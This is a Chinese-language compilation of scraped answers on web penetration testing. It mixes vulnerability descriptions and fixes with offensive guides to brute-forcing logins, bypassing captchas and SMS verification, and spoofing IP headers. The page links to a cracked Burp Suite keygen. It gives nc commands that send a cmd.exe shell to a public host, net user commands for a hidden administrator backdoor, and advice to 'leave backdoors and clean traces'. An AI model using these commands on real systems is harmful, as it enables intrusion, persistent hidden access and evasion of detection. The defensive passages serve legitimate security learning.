❶ 常見36種WEB滲透測試漏洞描述及解決方法-文件上傳
漏洞描述:文件上傳漏洞通常由於網頁代碼中的文件上傳路徑變數過濾不嚴或webserver相關解析漏洞未修復而造成的,如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站後門文件,進而遠程式控制制網站伺服器。
解決方法:
在前後端對上傳文件類型限制,如後端的擴展名檢測,重命名文件,MIME類型檢測以及限制上傳文件的大小,或將上傳文件放在安全路徑下;嚴格限制和校驗上傳的文件,禁止上傳惡意代碼的文件。同時限制相關目錄的執行許可權,防範webshell攻擊;對上傳文件格式進行嚴格校驗及安全掃描,防止上傳惡意腳本文件;設置許可權限制,禁止上傳目錄的執行許可權;嚴格限制可上傳的文件類型;嚴格限制上傳的文件路徑;文件擴展名服務端白名單校驗;文件內容服務端校驗;上傳文件重命名,並隱藏上傳文件路徑。
❷ web滲透測試之攻破登錄頁面
當我們在做滲透測試時,無論廠商項目還是src眾測項目,都會遇到給一堆登錄系統的URL,然後讓我們自己去測,能不能進去全看天的狀況,本文將講一下怎麼突破這種封閉的web系統,從而進行更深層次的滲透 ,學完後你會發現,其實你就是系統管理員。
如果能直接繞過登錄系統界面,後面的就比較好做了,目前常見的登錄系統繞過方法有:
大部分情況下,系統登錄頁面都不存在xss,目錄遍歷,sql注入等漏洞,這時候最常用的方法就是爆破和猜解登錄口令,密碼猜解最關鍵的就是字典要高效准確
https:// down.52pojie.cn/Tools/N etwork_Analyzer/Burp_Suite_Pro_v1.7.31_Loader_Keygen.zip
2.准確的用戶名,密碼字典是高效破解的重中之重 ,一般都是指定幾個常見用戶名 ,嘗試 top500,top1000進行爆破 字典不必要太大,最重要的是針對性要強 ,下面是top1000:
鏈接: https:// pan..com/s/1-XztuB 8YTfpT5aUBVbmbzA 密碼: 56pb
3.如果還是不能猜解成功,就要根據目標信息用字典生成器構造針對性的字典來猜解了,推 薦幾個比較好的字典生成工具
pydictor:
LandGrey/pydictor
crunch:
crunch - wordlist generator
Cewl:
digininja/CeWL
Cupp:
Mebus/cupp
因為管理員許可權較高,通常我都會先進行管理員口令的猜解,總結了一些常見的管理員用戶名字典
<u>鏈接:</u> <u> https:// pan..com/s/1sOD1-u whnStaw_LfMOf-sQ </u><u>密碼: 3yqe</u>
用此用戶名字典,再加上弱口令top1000,同時爆破系統管理員用戶名密碼
鏈接: https:// pan..com/s/1-XztuB 8YTfpT5aUBVbmbzA 密碼: 56pb
常見的普通用戶用戶名是姓名拼音,總結了普通用戶字典
TOP3000姓名
<u>鏈接:</u> <u> https:// pan..com/s/1qN9kCF tymP4ugvu3FFkKbA </u><u>密碼: hkzp</u>
TOP10w姓名
https:// github.com/rootphantome r/Blasting_dictionary/blob/master/top10W.txt
通常可以選擇幾個弱口令密碼,比如:123456,123abc,111111,然後配合top10w來猜解登陸口令,一些初始化的默認密碼也很簡單,如果能找到配合top10w通常也能爆出登錄口令
現在的業務系統口令傳輸到後端前都會進行加密處理 ,web常見的加密方式有 md5 加密、sha1 加密、RSA 加密,在此基礎上總結了兩種破解方式:
1.利用burpsuite的payload processing功能,把字典按照加密方式先加密再發包
2.用字典生成工具生成加密好的字典,然後burp直接載入加密字典
這里推薦的字典生成工具是pydictor,encode功能內置了多種加密演算法,調用handler工具直接加密自己的明文字典
如果登錄系統設置了IP地址白名單,我們可以通過下面的幾個http頭欄位偽造IP地址,用burp抓包後將下面的某個http頭欄位加入數據包發送到伺服器
<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto;">Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1</pre>
如果在系統登陸界面加上了驗證碼,那麼上面的方法基本上就都失效了,那有什麼方法可以繞過驗證呢
1.圖形驗證碼不刷新
在一段時間內只要不刷新頁面,無論登錄失敗多少次都不刷新驗證碼,這個時候就可以使用同一個驗證碼根據上面的方式進行暴力破解
2.驗證碼失效
不管在驗證碼表單輸入什麼樣的數據,都會判斷通過,但這種情況很少見
3.圖形驗證碼可被識別,抓包直接可以獲得驗證碼
很多網站的驗證碼都可以在請求數據包中找到,或者隱藏在request的cookie中,response的源碼中,可以利用burpsuite的macros來匹配response中的相應數據,具體的爆破方法參見下文:
burpsuite爆破密碼(含驗證碼) - CSDN博客
4.圖形驗證碼參數直接繞過
對於request數據: user=admin&pass=1234&vcode=brln,有兩種繞過方法:
一是驗證碼空值繞過,改成 user=admin&pass=1234&vcode=;
一是直接刪除驗證碼參數,改成 user=admin&pass=1234。
5.萬能驗證碼
滲透測試的過程中,有時候會出現這種情況,系統存在一個萬能驗證碼,如0000、9999,只要輸入萬能驗證碼,就可以無視驗證碼進行暴力破解。
6. 驗證碼可被識別
有些圖形驗證碼加入的像素線條過於簡單,使用圖形驗證碼識別工具可以識別出每次更換的驗證碼,在平常的漏洞挖掘過程中,如果我們發現登錄的驗證碼非常簡單且易於識別,那我們就可以嘗試使用自動化工具來進行登錄破解了,如 PKAV 的 HTTP Fuzzer
7.使用機器學習演算法識別驗證碼
主要是對特定網站的圖形驗證碼訓練識別模型,達到一定的准確率就可以調用進行模擬提交圖形驗證碼的值了。可參考以下三篇文章進行學習:
使用KNN演算法識別驗證碼:
http:// nlao.github.io/2016/0 9/22/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8K%E8%BF%91%E9%82%BB%E7%AE%97%E6%B3%95/
卷積神經網路識別驗證碼
http:// nlao.github.io/2016/0 9/23/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/
使用 TensorFlow 訓練驗證碼
http:// nlao.github.io/2017/0 4/10/%E4%BD%BF%E7%94%A8TensorFlow%E8%AE%AD%E7%BB%83Weibo-cn%E9%AA%8C%E8%AF%81%E7%A0%81/
對於網站要求輸入手機號,接收手機簡訊並校驗簡訊驗證碼是否正確進行登錄的系統,突破的主要思路有:
1.簡訊驗證碼生命期限內可暴力枚舉
在驗證碼還未過期的時間段內,可枚舉全部的純四位數字、六位數字等較簡單的簡訊驗證碼;
2. 簡訊驗證碼在數據包中返回
和圖形驗證碼一樣,在response中可以直接獲取到簡訊驗證碼。
3. 修改請求數據包參數或 Cookie 值繞過
比如有 post 數據包:mobile=12435437658&userid=123456, Cookie中有:codetype=1
在特定步驟,修改 mobile=自己的手機號,自己手機就可以收到別人的驗證碼,後面再用別人的手機號和接收到的驗證碼登錄;
修改 Cookie 中可疑的參數和值,進行繞過,比如上面修改 codetype=0;
4. 修改返回包繞過
提交錯誤的簡訊驗證碼,返回包中有: status=false,在Burpsuite中修改為 status=true,即可繞過前端判斷,成功進入系統。具體還要結合實際的場景,靈活操作。
web系統登陸頁面看似銅牆鐵壁,但其實只要梳理一遍思路,右鍵看過每一行網站源碼,弄懂每個參數的意義,查看每一個js文件,就會發現其實自己就是系統管理員,只是我把密碼忘了,現在我要用上面的方式進入。
❸ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
❹ 常見36種WEB滲透測試漏洞描述及解決方法- 配置不當
漏洞描述:網站根目錄下 crossdomain.xml 文件指明了遠程Flash 是否可以載入當前網站的資源。若配置不當,可能導致遭受跨站請求偽造(CSRF)攻擊。
解決方法:對不需要從外部載入資 源的網站,在 crossdomain.xml 文件中更改allow-access-from的domain屬性為域名白名單。
❺ 常見36種WEB滲透測試漏洞描述及解決方法-不安全HTTP方法
漏洞描述:目標伺服器啟用不安全的傳輸方法,如PUT、TRACE、DELETE、MOVE等,這可能在伺服器上使用 WebDAV,由於DAV方法允許客戶端操縱伺服器上的文件,若沒有合理配置dav,有可能允許未授權的用戶利用其修改伺服器上的文件。
解決方法:
(1)關閉不安全的傳輸方法,推薦POST、GET方法。
(2)如果伺服器不需要支持 WebDAV,請務必禁用它。或者為允許webdav的目錄配置嚴格的訪問許可權,如認證方法,認證需要的用戶名,密碼。
❻ 常見36種WEB滲透測試漏洞描述及解決方法-文件包含漏洞
漏洞描述:程序代碼在處理包含文件時沒有嚴格控制。可以先把上傳的靜態文件,或網站日誌文件作為代碼執行,或包含遠程伺服器上的惡意文件,獲取伺服器許可權。
解決方法:
(1)嚴格檢查變數是否已經初始化,嚴格檢查include類的文件包含函數中的參數是否外界可控;
(2)對所有輸入可能包含的文件地址,包括伺服器本地文件及遠程文件嚴格檢查,參數中不允許出現../之類的目錄跳轉符;
(3)在客戶端和服務段同時做數據的驗證與過濾。
❼ 「Web滲透測試」第一天:基礎入門-概念名詞
域名(英語:Domain Name),又稱網域,是由一串用點分隔的名字組成的Internet上某一台計算機或計算機組的名稱,用於在數據傳輸時對計算機的定位標識(有時也指地理位置)。由於IP地址具有不方便記憶並且不能顯示地址組織的名稱和性質等缺點,人們設計出了域名,並通過網域名稱系統(DNS,Domain Name System)來將域名和IP地址相互映射,使人更方便地訪問互聯網,而不用去記住能夠被機器直接讀取的IP地址數串。
阿里雲:阿里雲域名注冊
域名級數是指一個域名由多少級組成,域名的各個級別被「.」分開,簡而言之,有多少個點就是幾級域名。頂級域名在開頭有一個點,「一級域名」就是在「com top net org」前加一級,「二級域名」就是在一級域名前再加一級,二級域名及其以上級別的域名,統稱為子域名,不在「注冊域名」的范疇中。
進行滲透測試時,其主域名找不到漏洞時,就可以嘗試去測試收集到的子域名,有可能測試子域名網站時會有意向不到的效果,然後可以由此橫向到主網站。
域名系統(英文:Domain Name System,縮寫:DNS)是互聯網的一項服務。它作為將域名和IP地址相互映射的一個分布式資料庫,能夠使人更方便地訪問互聯網。DNS使用UDP埠53。當前,對於每一級域名長度的限制是63個字元,域名總長度則不能超過253個字元。
本地HOSTS是存儲的域名對應的IP地址,當我們訪問一個網站輸入域名時,首先會在本地的HOSTS文件查找是否有對應的IP地址,如果有就會直接解析成本地的IP進行訪問。如果不能查到,那麼會向DNS域名系統進行查詢,找到對應的IP進行訪問。
SDN全稱是內容分發網路。其目的是讓用戶能夠更快速的得到請求的數據。簡單來講,cdn就是用來加速的,他能讓用戶就近訪問數據,這樣就更更快的獲取到需要的數據。
關系:通過dns服務我們可以很快的定位到用戶的位置,然後給用戶分配最佳cdn節點,但是這種調度方式存在一個問題,例如,當我 是北京聯通的用戶但是使用的卻是深圳電信的ldns的話,調度伺服器會給我分配到深圳電信的cdn伺服器,這樣就產生了錯誤的調度。
通常也稱為域名系統投毒或DNS緩存投毒。它是利用虛假Internet地址替換掉域名系統表中的地址,進而製造破壞。當網路用戶在帶有該虛假地址的頁面中進行搜尋,以訪問某鏈接時,網頁瀏覽器由於受到該虛假條目的影響而打開了不同的網頁鏈接。在這種情況下,蠕蟲、木馬、瀏覽器劫持等惡意軟體就可能會被下載到本地用戶的電腦上。
DNS劫持又稱域名劫持,是指在劫持的網路范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什麼都不做使請求失去響應,其效果就是對特定的網路不能訪問或訪問的是假網址。這類攻擊一般通過惡意軟體來更改終端用戶TCP/IP設置,將用戶指向惡意DNS伺服器,該DNS伺服器會對域名進行解析,並最終指向釣魚網站等被攻擊者操控的伺服器。
域名劫持就是在劫持的網路范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則直接返回假的IP地址或者什麼也不做使得請求失去響應,其效果就是對特定的網址不能訪問或訪問的是假網址。一旦您的域名被劫持,用戶被引到假冒的網站進而無法正常瀏覽網頁,用戶可能被誘騙到冒牌網站進行登錄等操作導致泄露隱私數據。
針對DNS的DDoS攻擊通過控制大批僵屍網路利用真實DNS協議棧發起大量域名查詢請求,利用工具軟體偽造源IP發送海量DNS查詢,發送海量DNS查詢報文導致網路帶寬耗盡而無法傳送正常DNS查詢請求。發送大量非法域名查詢報文引起DNS伺服器持續進行迭代查詢,從而達到較少的攻擊流量消耗大量伺服器資源的目的。
所有放大攻擊都利用了攻擊者和目標Web資源之間的帶寬消耗差異,由於每個機器人都要求使用欺騙性IP地址打開DNS解析器,該IP地址已更改為目標受害者的真實源IP地址,然後目標會從DNS解析器接收響應。為了創建大量流量,攻擊者以盡可能從DNS解析器生成響應的方式構造請求。結果,目標接收到攻擊者初始流量的放大,並且他們的網路被虛假流量阻塞,導致拒絕服務。
asp php aspx jsp javaweb pl py cgi 等
不同的腳本語言的編寫規則不一樣,程序產生的漏洞自然也不一樣(代碼審計)。
不同的腳本語言的編寫規則不一樣,程序產生的漏洞自然也不一樣(代碼審計)。
當第一次攻擊之後,會留一個埠讓攻擊者下次從這個埠進行攻擊
網頁、線程插入、擴展、C/S後門
方便下次攻擊進入
管道(攻擊通道)
玩法,免殺
1. 網站源碼:分腳本類型,分應用方向
2. 操作系統:windows linux
3. 中間件(搭建平台):apache iis tomcat nginx 等
4. 資料庫:access mysql mssql oracle sybase db2 postsql等
Web應用一般是指B/S架構的通過HTTP/HTTPS協議提供服務的統稱。隨著互聯網的發展,Web應用已經融入了我們的日常生活的各個方面。在目前的Web應用中,大多數應用不都是靜態的網頁瀏覽,而是涉及到伺服器的動態處理。如果開發者的安全意識不強,就會導致Web應用安全問題層出不窮。
我們一般說的Web應用攻擊,是指攻擊者通過瀏覽器或者其他的攻擊工具,在URL或者其他的輸入區域(如表單等),向Web伺服器發送特殊的請求,從中發現Web應用程序中存在的漏洞,進而操作和控制網站,達到入侵者的目的。
在做安全測試的時候,我們要從web頁面層開始,因為較為方便,如果從操作系統進行,是十分不容易的。
SQL 注入、上傳、XSS、代碼執行、變數覆蓋、邏輯漏洞、反序列化等
SQL注入
內核漏洞
❽ Web滲透是怎麼弄的
1.滲透目標
滲透網站(這里指定為www.xxx.com)
切記,在滲透之前要簽訂協議。
2.信息收集
建議手動檢查和掃描器選擇同時進行。
2.1 網站常規檢測(手動)
1:瀏覽www.xxx.com
1. 初步確定網站的類型:例如銀行,醫院,政府等。
2. 查看網站功能模,比如是否有論壇,郵箱等。
3. 重點記錄網站所有的輸入點(與資料庫交互的頁面),比如用戶登錄,用戶注冊,留言板等。4. 重點查看網站是否用到了一些通用的模板,比如論壇選擇了動網(dvbss),就有可能存在動網的漏洞;郵箱有可能選擇通用的郵箱系統,也有漏洞。
2: 分析網站的url1. 利用搜索引擎,搜索網站的url,快速找到網站的動態頁面。
2. 對網站的域名進行反查,查看IP,確定伺服器上的域名數,如果主頁面url檢測沒有漏洞,可以對其他的域名進行檢測。
3:審查代碼
重點對輸入代碼(比如表單)進行分析,看如何來提交輸入,客戶端做了哪些輸入的限制方法。
1. 隱藏表單欄位 hidden
2. Username,Password等
4:控制項分析
Active x 通常都是用c/c++編寫
在頁面上(通常是首頁)的源碼中搜索
1. 需要ComRaider+OD 對dll文件進行反編譯,看是否有漏洞。
2. 改變程序執行的路徑,破壞Active X 實施的輸入確認,看web的回應。
5:對常規的輸入進行手動注入測試,測試是否有sql注入和跨站漏洞,試用常規的用戶名和密碼登錄。
6:查看web伺服器的版本,確定搜索是否有低版本伺服器組件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具選擇和使用
1:web應用程序漏洞掃描工具
Appscan: (版本7.8)
掃描漏洞比較全,中文,漏洞利用率高,檢測速度慢,需要大量內存,重點推薦。
AWVS:
英文,漏洞庫完善,檢測速度慢。
JSky
中文,檢測速度快,但深度一般。
Nessus
英文,檢測速度較快,漏洞也比較完善,免費,可及時更新,B/S界面。
2:埠掃描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗組的hacker欄中)
Jsp+ORACAL: CnsaferSI
支持以上資料庫 Pangolin
5: http代理請求
Paros
6:木馬
灰鴿子
7:提權木馬
一句話木馬大馬(具體所用的木馬參考文檔和工具包(綠盟,暗組))
5: 工具推薦使用方案
Appscan掃描出的重大漏洞,進行手工檢測(注意看漏洞是如何發現的,修改漏洞的代碼,對滲透幫助很大)。
sql注入漏洞
可以選用根據網站類型選擇sql注入工具
如果是post請求類型的url,選擇使用paros代理後,修改http請求包,進行注入。
WebDEV漏洞
可以啟用發送請求(比如DELETE對方網頁)
跨站漏洞
直接將appscan的代碼輸入測試,成功後,可以嘗試跨其他腳本(比如
遍歷漏洞:
網頁的目錄,下載網站配置文件信息,和源文件進行反編譯
反編譯:
Class 可以選用java 反編譯工具
Dll (asp.net) 選用Reflector
3.分析並滲透
---------------------
作者:centos2015
來源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
❾ 求工作-web滲透測試
你能這么些描述, 就直接暴露水平了
❿ 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。